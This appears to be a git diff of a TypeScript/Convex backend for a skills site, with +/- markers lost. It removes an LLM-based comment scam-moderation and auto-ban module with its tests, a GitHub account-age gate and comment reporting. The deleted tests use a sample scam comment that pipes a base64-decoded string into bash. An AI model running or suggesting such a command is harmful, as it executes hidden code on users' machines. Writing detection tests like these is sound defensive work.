if (!user?.deletedAt && !user?.deactivatedAt) return
// Verify that the incoming identity matches the existing account to prevent bypass.
if (args.existingUserId && args.existingUserId !== args.userId) {
return;
return
}
if (user.deactivatedAt) {
throw new ConvexError(DELETED_ACCOUNT_REAUTH_MESSAGE);
throw new ConvexError(DELETED_ACCOUNT_REAUTH_MESSAGE)
}
const userId = args.userId;
const deletedAt = user.deletedAt ?? Date.now();
const userId = args.userId
const deletedAt = user.deletedAt ?? Date.now()
const banRecords = await ctx.db
.query("auditLogs")
.withIndex("by_target", (q) => q.eq("targetType", "user").eq("targetId", userId.toString()))
.collect();
.query('auditLogs')
.withIndex('by_target', (q) => q.eq('targetType', 'user').eq('targetId', userId.toString()))
.collect()
const hasBlockingBan = banRecords.some((record) =>
REAUTH_BLOCKING_BAN_ACTIONS.has(record.action),
);
const hasBlockingBan = banRecords.some((record) => REAUTH_BLOCKING_BAN_ACTIONS.has(record.action))
if (hasBlockingBan) {
throw new ConvexError(getBannedReauthMessage(user.banReason));
throw new ConvexError(BANNED_REAUTH_MESSAGE)
}
// Migrate legacy self-deleted accounts (stored in deletedAt) to the new
@@ -65,23 +50,23 @@ export async function handleDeletedUserSignIn(
deactivatedAt: deletedAt,
purgedAt: user.purgedAt ?? deletedAt,
updatedAt: Date.now(),
});
})
throw new ConvexError(DELETED_ACCOUNT_REAUTH_MESSAGE);
throw new ConvexError(DELETED_ACCOUNT_REAUTH_MESSAGE)
}
export const { auth, signIn, signOut, store, isAuthenticated } = convexAuth({
providers: [
GitHub({
clientId: process.env.AUTH_GITHUB_ID ?? "",
clientSecret: process.env.AUTH_GITHUB_SECRET ?? "",
clientId: process.env.AUTH_GITHUB_ID ?? '',
clientSecret: process.env.AUTH_GITHUB_SECRET ?? '',
profile(profile) {
return {
id: String(profile.id),
name: profile.login,
email: profile.email ?? undefined,
image: profile.avatar_url,
};
}
},
}),
],
@@ -97,20 +82,17 @@ export const { auth, signIn, signOut, store, isAuthenticated } = convexAuth({
* the case where a user renames their GitHub account (fixes #303).
*/
async afterUserCreatedOrUpdated(ctx, args) {
const user = await ctx.db.get(args.userId);
await handleDeletedUserSignIn(ctx, args, user);
await ctx.scheduler.runAfter(0, internal.publishers.ensurePersonalPublisherInternal, {
userId: args.userId,
});
const user = await ctx.db.get(args.userId)
await handleDeletedUserSignIn(ctx, args, user)
// Schedule GitHub profile sync to handle username renames (fixes #303)
// This runs as a background action so it doesn't block sign-in
const now = Date.now();
const now = Date.now()
if (shouldScheduleGitHubProfileSync(user, now)) {
await ctx.scheduler.runAfter(0, internal.users.syncGitHubProfileAction, {
userId: args.userId,
});
})
}
},
},
});
})
-290
View File
@@ -1,290 +0,0 @@
/* @vitest-environment node */
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
vi.mock("./_generated/api", () => ({
internal: {
commentModeration: {
getCommentScamBackfillPageInternal: Symbol(
"commentModeration.getCommentScamBackfillPageInternal",
),
applyCommentScamResultInternal: Symbol("commentModeration.applyCommentScamResultInternal"),
backfillCommentScamModerationInternal: Symbol(
"commentModeration.backfillCommentScamModerationInternal",
),
continueCommentScamModerationJobInternal: Symbol(
"commentModeration.continueCommentScamModerationJobInternal",
),
},
llmEval: {
evaluateCommentForScam: Symbol("llmEval.evaluateCommentForScam"),
},
users: {
banUserInternal: Symbol("users.banUserInternal"),
},
},
}));
const { applyCommentScamResultInternalHandler, backfillCommentScamModerationInternalHandler } =
await import("./commentModeration");
const { internal } = await import("./_generated/api");
const previousOpenAiApiKey = process.env.OPENAI_API_KEY;
beforeEach(() => {
process.env.OPENAI_API_KEY = "test-key";
});
afterEach(() => {
if (previousOpenAiApiKey === undefined) {
delete process.env.OPENAI_API_KEY;
return;
}
process.env.OPENAI_API_KEY = previousOpenAiApiKey;
});
describe("commentModeration backfill", () => {
it("evaluates comments and bans on certain/high scams", async () => {
const runQuery = vi.fn().mockResolvedValueOnce({
items: [
{
commentId: "comments:1",
skillId: "skills:1",
userId: "users:2",
body: 'echo "mal" | base64 -D | bash',
softDeletedAt: undefined,
scamScanCheckedAt: undefined,
},
],
cursor: null,
isDone: true,
});
const runAction = vi.fn().mockResolvedValue({
ok: true,
model: "gpt-5-mini",
verdict: "certain_scam",
confidence: "high",
explanation: "Obfuscated shell execution payload.",
evidence: ["base64 decode piped to bash"],
});
const runMutation = vi.fn().mockResolvedValue({
ok: true,
shouldBan: true,
banned: true,
alreadyBanned: false,
protectedRole: false,
wouldBan: false,
});
const result = await backfillCommentScamModerationInternalHandler(
{ runQuery, runAction, runMutation } as never,
{
actorUserId: "users:admin",
dryRun: false,
batchSize: 10,
maxBatches: 1,
} as never,
);
expect(result.ok).toBe(true);
expect(result.stats.commentsScanned).toBe(1);
expect(result.stats.commentsEvaluated).toBe(1);
expect(result.stats.certainScams).toBe(1);
expect(result.stats.banCandidates).toBe(1);
expect(result.stats.usersBanned).toBe(1);
expect(runAction).toHaveBeenCalledWith(internal.llmEval.evaluateCommentForScam, {
commentId: "comments:1",
skillId: "skills:1",
userId: "users:2",
body: 'echo "mal" | base64 -D | bash',
});
expect(runMutation).toHaveBeenCalledWith(
internal.commentModeration.applyCommentScamResultInternal,
{
actorUserId: "users:admin",
commentId: "comments:1",
verdict: "certain_scam",
confidence: "high",
explanation: "Obfuscated shell execution payload.",
evidence: ["base64 decode piped to bash"],
model: "gpt-5-mini",
checkedAt: expect.any(Number),
dryRun: false,
},
);
});
it("skips previously scanned comments unless rescan=true", async () => {
const runQuery = vi.fn().mockResolvedValue({
items: [
{
commentId: "comments:1",
skillId: "skills:1",
userId: "users:2",
body: "something",
softDeletedAt: undefined,
scamScanCheckedAt: 123,
},
],
cursor: null,
isDone: true,
});
const runAction = vi.fn();
const runMutation = vi.fn();
const result = await backfillCommentScamModerationInternalHandler(
{ runQuery, runAction, runMutation } as never,
{
actorUserId: "users:admin",
batchSize: 10,
maxBatches: 1,
} as never,
);
expect(result.stats.commentsScanned).toBe(1);
expect(result.stats.skippedAlreadyScanned).toBe(1);
expect(runAction).not.toHaveBeenCalled();
expect(runMutation).not.toHaveBeenCalled();
});
it("tracks dry-run ban candidates without banning", async () => {
const runQuery = vi.fn().mockResolvedValue({
items: [
{
commentId: "comments:9",
skillId: "skills:7",
userId: "users:5",
body: "run this update installer from random domain",
softDeletedAt: undefined,
scamScanCheckedAt: undefined,
},
],
cursor: null,
isDone: true,
});
const runAction = vi.fn().mockResolvedValue({
ok: true,
model: "gpt-5-mini",
verdict: "certain_scam",
confidence: "high",
explanation: "Social-engineering install command.",
evidence: ["unknown update domain"],
});
const runMutation = vi.fn().mockResolvedValue({
ok: true,
shouldBan: true,
banned: false,
alreadyBanned: false,
protectedRole: false,
wouldBan: true,
});
const result = await backfillCommentScamModerationInternalHandler(
{ runQuery, runAction, runMutation } as never,
{
actorUserId: "users:admin",
dryRun: true,
batchSize: 10,
maxBatches: 1,
} as never,
);
expect(result.stats.usersBanned).toBe(0);
expect(result.stats.usersWouldBeBanned).toBe(1);
});
});
describe("applyCommentScamResultInternalHandler", () => {
it("persists scan metadata and triggers ban with bounded reason", async () => {
const get = vi
.fn()
.mockResolvedValueOnce({
_id: "comments:1",
skillId: "skills:1",
userId: "users:2",
})
.mockResolvedValueOnce({
_id: "users:2",
role: "user",
});
const patch = vi.fn();
const insert = vi.fn();
const runMutation = vi
.fn()
.mockResolvedValue({ ok: true, alreadyBanned: false, deletedSkills: 0 });
const result = await applyCommentScamResultInternalHandler(
{ db: { get, patch, insert }, runMutation } as never,
{
actorUserId: "users:admin",
commentId: "comments:1",
verdict: "certain_scam",
confidence: "high",
explanation: "X".repeat(700),
evidence: ["Y".repeat(280), "Z".repeat(280)],
model: "gpt-5-mini",
checkedAt: 123,
} as never,
);
expect(result.banned).toBe(true);
expect(insert).toHaveBeenCalledWith("auditLogs", {
actorUserId: "users:admin",
action: "comment.scam_scan",
targetType: "comment",
targetId: "comments:1",
metadata: {
skillId: "skills:1",
commentAuthorId: "users:2",
verdict: "certain_scam",
confidence: "high",
shouldBan: true,
model: "gpt-5-mini",
},
createdAt: 123,
});
const banCall = runMutation.mock.calls.find(
(call) => call[0] === internal.users.banUserInternal,
);
expect(banCall).toBeTruthy();
if (!banCall) throw new Error("Expected ban mutation to be called");
expect((banCall[1] as { reason: string }).reason.length).toBeLessThanOrEqual(500);
expect(patch).toHaveBeenCalledWith("comments:1", {
scamBanTriggeredAt: 123,
});
});
it("skips banning moderator/admin accounts", async () => {
const get = vi
.fn()
.mockResolvedValueOnce({
_id: "comments:2",
skillId: "skills:2",
userId: "users:staff",
})
.mockResolvedValueOnce({
_id: "users:staff",
role: "moderator",
});
const patch = vi.fn();
const insert = vi.fn();
const runMutation = vi.fn();
const result = await applyCommentScamResultInternalHandler(
{ db: { get, patch, insert }, runMutation } as never,
{
actorUserId: "users:admin",
commentId: "comments:2",
verdict: "certain_scam",
confidence: "high",
explanation: "Malicious command spam.",
evidence: ["base64|bash"],
model: "gpt-5-mini",
checkedAt: 300,
} as never,
);
expect(result.protectedRole).toBe(true);
expect(runMutation).not.toHaveBeenCalled();
});
});
-479
View File
@@ -1,479 +0,0 @@
import { ConvexError, v } from "convex/values";
import { internal } from "./_generated/api";
import type { Id } from "./_generated/dataModel";
import type { ActionCtx, MutationCtx } from "./_generated/server";
import { action, internalAction, internalMutation, internalQuery } from "./functions";
import { assertRole, requireUserFromAction } from "./lib/access";
import {
buildCommentScamBanReason,
isCertainScam,
type CommentScamConfidence,
type CommentScamVerdict,
} from "./lib/commentScamPrompt";
const DEFAULT_BATCH_SIZE = 25;
const MAX_BATCH_SIZE = 100;
const DEFAULT_MAX_BATCHES = 10;
const MAX_MAX_BATCHES = 200;
type CommentBackfillPageItem = {
commentId: Id<"comments">;
skillId: Id<"skills">;
userId: Id<"users">;
body: string;
softDeletedAt?: number;
scamScanCheckedAt?: number;
};
type CommentBackfillPageResult = {
items: CommentBackfillPageItem[];
cursor: string | null;
isDone: boolean;
};
type ApplyCommentScamResult = {
ok: true;
shouldBan: boolean;
banned: boolean;
alreadyBanned: boolean;
protectedRole: boolean;
wouldBan: boolean;
};
export type CommentScamBackfillStats = {
commentsScanned: number;
commentsEvaluated: number;
certainScams: number;
banCandidates: number;
usersBanned: number;
usersAlreadyBanned: number;
usersWouldBeBanned: number;
protectedRoleSkips: number;
skippedSoftDeleted: number;
skippedAlreadyScanned: number;
skippedEmptyBody: number;
evalErrors: number;
};
export type CommentScamBackfillActionArgs = {
actorUserId: Id<"users">;
dryRun?: boolean;
batchSize?: number;
maxBatches?: number;
cursor?: string;
rescan?: boolean;
includeSoftDeleted?: boolean;
};
export type CommentScamBackfillActionResult = {
ok: true;
stats: CommentScamBackfillStats;
isDone: boolean;
cursor: string | null;
};
export const getCommentScamBackfillPageInternal = internalQuery({
args: {
cursor: v.optional(v.string()),
batchSize: v.optional(v.number()),
},
handler: async (ctx, args): Promise<CommentBackfillPageResult> => {
const batchSize = clampInt(args.batchSize ?? DEFAULT_BATCH_SIZE, 1, MAX_BATCH_SIZE);
const { page, isDone, continueCursor } = await ctx.db
.query("comments")
.order("asc")
.paginate({ cursor: args.cursor ?? null, numItems: batchSize });
return {
items: page.map((comment) => ({
commentId: comment._id,
skillId: comment.skillId,
userId: comment.userId,
body: comment.body,
softDeletedAt: comment.softDeletedAt,
scamScanCheckedAt: comment.scamScanCheckedAt,
})),
cursor: continueCursor,
isDone,
};
},
});
export async function applyCommentScamResultInternalHandler(
ctx: MutationCtx,
args: {
actorUserId: Id<"users">;
commentId: Id<"comments">;
verdict: CommentScamVerdict;
confidence: CommentScamConfidence;
explanation: string;
evidence: string[];
model: string;
checkedAt: number;
dryRun?: boolean;
},
): Promise<ApplyCommentScamResult> {
const comment = await ctx.db.get(args.commentId);
if (!comment) {
throw new ConvexError("Comment not found");
}
const user = await ctx.db.get(comment.userId);
if (!user) {
throw new ConvexError("Comment author not found");
}
const dryRun = Boolean(args.dryRun);
const shouldBan = isCertainScam({
verdict: args.verdict,
confidence: args.confidence,
});
const explanation = args.explanation.trim().slice(0, 1200);
const evidence = args.evidence
.map((item) => item.trim())
.filter(Boolean)
.slice(0, 5);
if (!dryRun) {
await ctx.db.patch(comment._id, {
scamScanVerdict: args.verdict,
scamScanConfidence: args.confidence,
scamScanExplanation: explanation,
scamScanEvidence: evidence,
scamScanModel: args.model,
scamScanCheckedAt: args.checkedAt,
});
await ctx.db.insert("auditLogs", {
actorUserId: args.actorUserId,
action: "comment.scam_scan",
targetType: "comment",
targetId: comment._id,
metadata: {
skillId: comment.skillId,
commentAuthorId: comment.userId,
verdict: args.verdict,
confidence: args.confidence,
shouldBan,
model: args.model,
},
createdAt: args.checkedAt,
});
}
if (!shouldBan) {
return {
ok: true,
shouldBan,
banned: false,
alreadyBanned: false,
protectedRole: false,
wouldBan: false,
};
}
if (user.role === "admin" || user.role === "moderator") {
return {
ok: true,
shouldBan,
banned: false,
alreadyBanned: false,
protectedRole: true,
wouldBan: false,
};
}
if (user.deletedAt || user.deactivatedAt) {
return {
ok: true,
shouldBan,
banned: false,
alreadyBanned: true,
protectedRole: false,
wouldBan: false,
};
}
if (dryRun) {
return {
ok: true,
shouldBan,
banned: false,
alreadyBanned: false,
protectedRole: false,
wouldBan: true,
};
}
const reason = buildCommentScamBanReason({
commentId: String(comment._id),
skillId: String(comment.skillId),
explanation,
evidence,
});
const banResult = await ctx.runMutation(internal.users.banUserInternal, {
actorUserId: args.actorUserId,
targetUserId: comment.userId,
reason,
});
if (!banResult.alreadyBanned) {
await ctx.db.patch(comment._id, {
scamBanTriggeredAt: args.checkedAt,
});
}
return {
ok: true,
shouldBan,
banned: !banResult.alreadyBanned,
alreadyBanned: Boolean(banResult.alreadyBanned),
protectedRole: false,
wouldBan: false,
};
}
export const applyCommentScamResultInternal = internalMutation({
args: {
actorUserId: v.id("users"),
commentId: v.id("comments"),
verdict: v.union(v.literal("not_scam"), v.literal("likely_scam"), v.literal("certain_scam")),
confidence: v.union(v.literal("low"), v.literal("medium"), v.literal("high")),
explanation: v.string(),
evidence: v.array(v.string()),
model: v.string(),
checkedAt: v.number(),
dryRun: v.optional(v.boolean()),
},
handler: applyCommentScamResultInternalHandler,
});
export async function backfillCommentScamModerationInternalHandler(
ctx: ActionCtx,
args: CommentScamBackfillActionArgs,
): Promise<CommentScamBackfillActionResult> {
if (!process.env.OPENAI_API_KEY) {
throw new ConvexError("OPENAI_API_KEY not configured");
}
const dryRun = Boolean(args.dryRun);
const rescan = Boolean(args.rescan);
const includeSoftDeleted = Boolean(args.includeSoftDeleted);
const batchSize = clampInt(args.batchSize ?? DEFAULT_BATCH_SIZE, 1, MAX_BATCH_SIZE);
const maxBatches = clampInt(args.maxBatches ?? DEFAULT_MAX_BATCHES, 1, MAX_MAX_BATCHES);
let cursor: string | null = args.cursor ?? null;
let isDone = false;
const stats: CommentScamBackfillStats = {
commentsScanned: 0,
commentsEvaluated: 0,
certainScams: 0,
banCandidates: 0,
usersBanned: 0,
usersAlreadyBanned: 0,
usersWouldBeBanned: 0,
protectedRoleSkips: 0,
skippedSoftDeleted: 0,
skippedAlreadyScanned: 0,
skippedEmptyBody: 0,
evalErrors: 0,
};
for (let i = 0; i < maxBatches; i++) {
const page = (await ctx.runQuery(
internal.commentModeration.getCommentScamBackfillPageInternal,
{
cursor: cursor ?? undefined,
batchSize,
},
)) as CommentBackfillPageResult;
cursor = page.cursor;
isDone = page.isDone;
for (const comment of page.items) {
stats.commentsScanned++;
if (!includeSoftDeleted && comment.softDeletedAt) {
stats.skippedSoftDeleted++;
continue;
}
if (!rescan && comment.scamScanCheckedAt) {
stats.skippedAlreadyScanned++;
continue;
}
const body = comment.body.trim();
if (!body) {
stats.skippedEmptyBody++;
continue;
}
const evalResult = (await ctx.runAction(internal.llmEval.evaluateCommentForScam, {
commentId: comment.commentId,
skillId: comment.skillId,
userId: comment.userId,
body,
})) as
| {
ok: true;
model: string;
verdict: CommentScamVerdict;
confidence: CommentScamConfidence;
explanation: string;
evidence: string[];
}
| { ok: false; error: string };
if (!evalResult.ok) {
stats.evalErrors++;
continue;
}
stats.commentsEvaluated++;
const shouldBan = isCertainScam(evalResult);
if (evalResult.verdict === "certain_scam") {
stats.certainScams++;
}
if (shouldBan) {
stats.banCandidates++;
}
const applyResult = (await ctx.runMutation(
internal.commentModeration.applyCommentScamResultInternal,
{
actorUserId: args.actorUserId,
commentId: comment.commentId,
verdict: evalResult.verdict,
confidence: evalResult.confidence,
explanation: evalResult.explanation,
evidence: evalResult.evidence,
model: evalResult.model,
checkedAt: Date.now(),
dryRun,
},
)) as ApplyCommentScamResult;
if (applyResult.banned) stats.usersBanned++;
if (applyResult.alreadyBanned) stats.usersAlreadyBanned++;
if (applyResult.wouldBan) stats.usersWouldBeBanned++;
if (applyResult.protectedRole) stats.protectedRoleSkips++;
}
if (isDone) break;
}
return {
ok: true,
stats,
isDone,
cursor,
};
}
export const backfillCommentScamModerationInternal = internalAction({
args: {
actorUserId: v.id("users"),
dryRun: v.optional(v.boolean()),
batchSize: v.optional(v.number()),
maxBatches: v.optional(v.number()),
cursor: v.optional(v.string()),
rescan: v.optional(v.boolean()),
includeSoftDeleted: v.optional(v.boolean()),
},
handler: backfillCommentScamModerationInternalHandler,
});
export const backfillCommentScamModeration: ReturnType<typeof action> = action({
args: {
dryRun: v.optional(v.boolean()),
batchSize: v.optional(v.number()),
maxBatches: v.optional(v.number()),
cursor: v.optional(v.string()),
rescan: v.optional(v.boolean()),
includeSoftDeleted: v.optional(v.boolean()),
},
handler: async (ctx, args): Promise<CommentScamBackfillActionResult> => {
const { user } = await requireUserFromAction(ctx);
assertRole(user, ["admin", "moderator"]);
return ctx.runAction(internal.commentModeration.backfillCommentScamModerationInternal, {
actorUserId: user._id,
...args,
}) as Promise<CommentScamBackfillActionResult>;
},
});
export const continueCommentScamModerationJobInternal = internalAction({
args: {
actorUserId: v.id("users"),
dryRun: v.optional(v.boolean()),
batchSize: v.optional(v.number()),
cursor: v.optional(v.string()),
rescan: v.optional(v.boolean()),
includeSoftDeleted: v.optional(v.boolean()),
},
handler: async (ctx, args) => {
const result = await backfillCommentScamModerationInternalHandler(ctx, {
actorUserId: args.actorUserId,
dryRun: args.dryRun,
batchSize: args.batchSize,
cursor: args.cursor,
maxBatches: 1,
rescan: args.rescan,
includeSoftDeleted: args.includeSoftDeleted,
});
if (!result.isDone && result.cursor) {
await ctx.scheduler.runAfter(
2_000,
internal.commentModeration.continueCommentScamModerationJobInternal,
{
actorUserId: args.actorUserId,
dryRun: Boolean(args.dryRun),
batchSize: args.batchSize ?? DEFAULT_BATCH_SIZE,
cursor: result.cursor,
rescan: Boolean(args.rescan),
includeSoftDeleted: Boolean(args.includeSoftDeleted),
},
);
}
return result;
},
});
export const scheduleCommentScamModeration: ReturnType<typeof action> = action({
args: {
dryRun: v.optional(v.boolean()),
batchSize: v.optional(v.number()),
rescan: v.optional(v.boolean()),
includeSoftDeleted: v.optional(v.boolean()),
},
handler: async (ctx, args): Promise<{ ok: true }> => {
const { user } = await requireUserFromAction(ctx);
assertRole(user, ["admin", "moderator"]);
await ctx.scheduler.runAfter(
0,
internal.commentModeration.continueCommentScamModerationJobInternal,
{
actorUserId: user._id,
dryRun: Boolean(args.dryRun),
batchSize: clampInt(args.batchSize ?? DEFAULT_BATCH_SIZE, 1, MAX_BATCH_SIZE),
cursor: undefined,
rescan: Boolean(args.rescan),
includeSoftDeleted: Boolean(args.includeSoftDeleted),
},
);
return { ok: true as const };
},
});
function clampInt(value: number, min: number, max: number) {
return Math.min(Math.max(Math.trunc(value), min), max);
}
+26 -125
View File
@@ -1,151 +1,52 @@
import type { Id } from "./_generated/dataModel";
import type { MutationCtx } from "./_generated/server";
import { assertModerator, requireUser } from "./lib/access";
import { requireGitHubAccountAge } from "./lib/githubAccount";
import {
AUTO_HIDE_REPORT_THRESHOLD,
MAX_ACTIVE_REPORTS_PER_USER,
MAX_REPORT_REASON_LENGTH,
} from "./lib/reporting";
import { insertStatEvent } from "./skillStatEvents";
import type { Id } from './_generated/dataModel'
import type { MutationCtx } from './_generated/server'
import { assertModerator, requireUser } from './lib/access'
import { insertStatEvent } from './skillStatEvents'
export async function addHandler(ctx: MutationCtx, args: { skillId: Id<"skills">; body: string }) {
const { userId } = await requireUser(ctx);
await requireGitHubAccountAge(ctx, userId);
export async function addHandler(ctx: MutationCtx, args: { skillId: Id<'skills'>; body: string }) {
const { userId } = await requireUser(ctx)
const body = args.body.trim()
if (!body) throw new Error('Comment body required')
const body = args.body.trim();
if (!body) throw new Error("Comment body required");
const skill = await ctx.db.get(args.skillId)
if (!skill) throw new Error('Skill not found')
const skill = await ctx.db.get(args.skillId);
if (!skill) throw new Error("Skill not found");
await ctx.db.insert("comments", {
await ctx.db.insert('comments', {
skillId: args.skillId,
userId,
body,
createdAt: Date.now(),
softDeletedAt: undefined,
deletedBy: undefined,
});
})
await insertStatEvent(ctx, { skillId: skill._id, kind: "comment" });
await insertStatEvent(ctx, { skillId: skill._id, kind: 'comment' })
}
export async function removeHandler(ctx: MutationCtx, args: { commentId: Id<"comments"> }) {
const { user } = await requireUser(ctx);
const comment = await ctx.db.get(args.commentId);
if (!comment) throw new Error("Comment not found");
if (comment.softDeletedAt) return;
export async function removeHandler(ctx: MutationCtx, args: { commentId: Id<'comments'> }) {
const { user } = await requireUser(ctx)
const comment = await ctx.db.get(args.commentId)
if (!comment) throw new Error('Comment not found')
if (comment.softDeletedAt) return
const isOwner = comment.userId === user._id;
const isOwner = comment.userId === user._id
if (!isOwner) {
assertModerator(user);
assertModerator(user)
}
await ctx.db.patch(comment._id, {
softDeletedAt: Date.now(),
deletedBy: user._id,
});
})
await insertStatEvent(ctx, { skillId: comment.skillId, kind: "uncomment" });
await insertStatEvent(ctx, { skillId: comment.skillId, kind: 'uncomment' })
await ctx.db.insert("auditLogs", {
await ctx.db.insert('auditLogs', {
actorUserId: user._id,
action: "comment.delete",
targetType: "comment",
action: 'comment.delete',
targetType: 'comment',
targetId: comment._id,
metadata: { skillId: comment.skillId },
createdAt: Date.now(),
});
}
async function countActiveReportsForUser(ctx: MutationCtx, userId: Id<"users">) {
const reports = await ctx.db
.query("commentReports")
.withIndex("by_user", (q) => q.eq("userId", userId))
.collect();
let count = 0;
for (const report of reports) {
const comment = await ctx.db.get(report.commentId);
if (!comment || comment.softDeletedAt) continue;
const skill = await ctx.db.get(comment.skillId);
if (!skill || skill.softDeletedAt || skill.moderationStatus === "removed") continue;
const owner = await ctx.db.get(comment.userId);
if (!owner || owner.deletedAt || owner.deactivatedAt) continue;
count += 1;
if (count >= MAX_ACTIVE_REPORTS_PER_USER) break;
}
return count;
}
export async function reportHandler(
ctx: MutationCtx,
args: { commentId: Id<"comments">; reason: string },
) {
const { userId } = await requireUser(ctx);
const comment = await ctx.db.get(args.commentId);
if (!comment || comment.softDeletedAt) {
throw new Error("Comment not found");
}
const skill = await ctx.db.get(comment.skillId);
if (!skill || skill.softDeletedAt || skill.moderationStatus === "removed") {
throw new Error("Comment not found");
}
const reason = args.reason.trim();
if (!reason) {
throw new Error("Report reason required.");
}
const existing = await ctx.db
.query("commentReports")
.withIndex("by_comment_user", (q) => q.eq("commentId", args.commentId).eq("userId", userId))
.unique();
if (existing) return { ok: true as const, reported: false, alreadyReported: true };
const activeReports = await countActiveReportsForUser(ctx, userId);
if (activeReports >= MAX_ACTIVE_REPORTS_PER_USER) {
throw new Error("Report limit reached. Please wait for moderation before reporting more.");
}
const now = Date.now();
await ctx.db.insert("commentReports", {
commentId: args.commentId,
skillId: comment.skillId,
userId,
reason: reason.slice(0, MAX_REPORT_REASON_LENGTH),
createdAt: now,
});
const nextReportCount = (comment.reportCount ?? 0) + 1;
const shouldAutoHide = nextReportCount > AUTO_HIDE_REPORT_THRESHOLD && !comment.softDeletedAt;
const updates: {
reportCount: number;
lastReportedAt: number;
softDeletedAt?: number;
} = {
reportCount: nextReportCount,
lastReportedAt: now,
};
if (shouldAutoHide) {
updates.softDeletedAt = now;
}
await ctx.db.patch(comment._id, updates);
if (shouldAutoHide) {
await insertStatEvent(ctx, { skillId: comment.skillId, kind: "uncomment" });
await ctx.db.insert("auditLogs", {
actorUserId: userId,
action: "comment.auto_hide",
targetType: "comment",
targetId: comment._id,
metadata: { skillId: comment.skillId, reportCount: nextReportCount },
createdAt: now,
});
}
return { ok: true as const, reported: true, alreadyReported: false };
})
}
-127
View File
@@ -1,127 +0,0 @@
/* @vitest-environment node */
import { describe, expect, it } from "vitest";
import { listBySkillHandler } from "./comments";
function makeCtx(args: {
comments: Array<Record<string, unknown>>;
usersById: Record<string, Record<string, unknown> | null>;
}) {
const get = async (id: string) => args.usersById[id] ?? null;
const take = async () => args.comments;
const order = () => ({ take });
const withIndex = () => ({ order });
const query = () => ({ withIndex });
return { db: { get, query } } as never;
}
describe("comments.listBySkill", () => {
it("skips soft-deleted comments", async () => {
const ctx = makeCtx({
comments: [
{
_id: "comments:live",
skillId: "skills:1",
userId: "users:live",
body: "hello",
},
{
_id: "comments:deleted",
skillId: "skills:1",
userId: "users:live",
body: "bye",
softDeletedAt: 123,
},
],
usersById: {
"users:live": {
_id: "users:live",
_creationTime: 1,
handle: "live",
name: "live",
displayName: "Live",
image: null,
bio: null,
},
},
});
const result = await listBySkillHandler(ctx, {
skillId: "skills:1",
limit: 50,
} as never);
expect(result).toHaveLength(1);
expect(result[0]?.comment._id).toBe("comments:live");
});
it("skips comments whose author is deleted/deactivated/missing", async () => {
const ctx = makeCtx({
comments: [
{
_id: "comments:ok",
skillId: "skills:1",
userId: "users:ok",
body: "ok",
},
{
_id: "comments:deleted-user",
skillId: "skills:1",
userId: "users:deleted",
body: "hidden",
},
{
_id: "comments:deactivated-user",
skillId: "skills:1",
userId: "users:deactivated",
body: "hidden",
},
{
_id: "comments:missing-user",
skillId: "skills:1",
userId: "users:missing",
body: "hidden",
},
],
usersById: {
"users:ok": {
_id: "users:ok",
_creationTime: 1,
handle: "ok",
name: "ok",
displayName: "Ok",
image: null,
bio: null,
},
"users:deleted": {
_id: "users:deleted",
_creationTime: 1,
handle: "deleted",
name: "deleted",
displayName: "Deleted",
image: null,
bio: null,
deletedAt: 123,
},
"users:deactivated": {
_id: "users:deactivated",
_creationTime: 1,
handle: "deactivated",
name: "deactivated",
displayName: "Deactivated",
image: null,
bio: null,
deactivatedAt: 456,
},
},
});
const result = await listBySkillHandler(ctx, {
skillId: "skills:1",
limit: 50,
} as never);
expect(result).toHaveLength(1);
expect(result[0]?.comment._id).toBe("comments:ok");
expect(result[0]?.user._id).toBe("users:ok");
});
});
+88 -575
View File
@@ -1,614 +1,127 @@
/* @vitest-environment node */
import { afterEach, describe, expect, it, vi } from "vitest";
import { afterEach, describe, expect, it, vi } from 'vitest'
vi.mock("./lib/access", () => ({
vi.mock('./lib/access', () => ({
assertModerator: vi.fn(),
requireUser: vi.fn(),
}));
}))
vi.mock("./skillStatEvents", () => ({
vi.mock('./skillStatEvents', () => ({
insertStatEvent: vi.fn(),
}));
}))
vi.mock("./lib/githubAccount", () => ({
requireGitHubAccountAge: vi.fn(),
}));
const { requireUser, assertModerator } = await import('./lib/access')
const { insertStatEvent } = await import('./skillStatEvents')
const { addHandler, removeHandler } = await import('./comments.handlers')
const { requireUser, assertModerator } = await import("./lib/access");
const { insertStatEvent } = await import("./skillStatEvents");
const { requireGitHubAccountAge } = await import("./lib/githubAccount");
const { addHandler, removeHandler, reportHandler } = await import("./comments.handlers");
describe("comments mutations", () => {
describe('comments mutations', () => {
afterEach(() => {
vi.mocked(assertModerator).mockReset();
vi.mocked(requireUser).mockReset();
vi.mocked(insertStatEvent).mockReset();
vi.mocked(requireGitHubAccountAge).mockReset();
vi.restoreAllMocks();
});
vi.mocked(assertModerator).mockReset()
vi.mocked(requireUser).mockReset()
vi.mocked(insertStatEvent).mockReset()
})
it("add avoids direct skill patch and records stat event", async () => {
it('add avoids direct skill patch and records stat event', async () => {
vi.mocked(requireUser).mockResolvedValue({
userId: "users:1",
user: { _id: "users:1", role: "user" },
} as never);
vi.mocked(requireGitHubAccountAge).mockResolvedValue(undefined as never);
userId: 'users:1',
user: { _id: 'users:1', role: 'user' },
} as never)
const get = vi.fn().mockResolvedValue({
_id: "skills:1",
});
const insert = vi.fn();
const patch = vi.fn();
const ctx = { db: { get, insert, patch } } as never;
_id: 'skills:1',
})
const insert = vi.fn()
const patch = vi.fn()
const ctx = { db: { get, insert, patch } } as never
await addHandler(ctx, { skillId: "skills:1", body: " hello " } as never);
await addHandler(ctx, { skillId: 'skills:1', body: ' hello ' } as never)
expect(requireGitHubAccountAge).toHaveBeenCalledWith(ctx, "users:1");
expect(patch).not.toHaveBeenCalled();
expect(patch).not.toHaveBeenCalled()
expect(insertStatEvent).toHaveBeenCalledWith(ctx, {
skillId: "skills:1",
kind: "comment",
});
});
skillId: 'skills:1',
kind: 'comment',
})
})
it("add blocks new comments when github account age gate fails", async () => {
it('remove keeps comment soft-delete patch free of updatedAt', async () => {
vi.mocked(requireUser).mockResolvedValue({
userId: "users:new",
user: { _id: "users:new", role: "user" },
} as never);
vi.mocked(requireGitHubAccountAge).mockRejectedValue(
new Error(
"GitHub account must be at least 14 days old to upload skills. Try again in 3 days.",
),
);
const get = vi.fn();
const insert = vi.fn();
const patch = vi.fn();
const ctx = { db: { get, insert, patch } } as never;
await expect(addHandler(ctx, { skillId: "skills:1", body: "hello" } as never)).rejects.toThrow(
/at least 14 days old/i,
);
expect(get).not.toHaveBeenCalled();
expect(insert).not.toHaveBeenCalled();
expect(patch).not.toHaveBeenCalled();
expect(insertStatEvent).not.toHaveBeenCalled();
});
it("remove keeps comment soft-delete patch free of updatedAt", async () => {
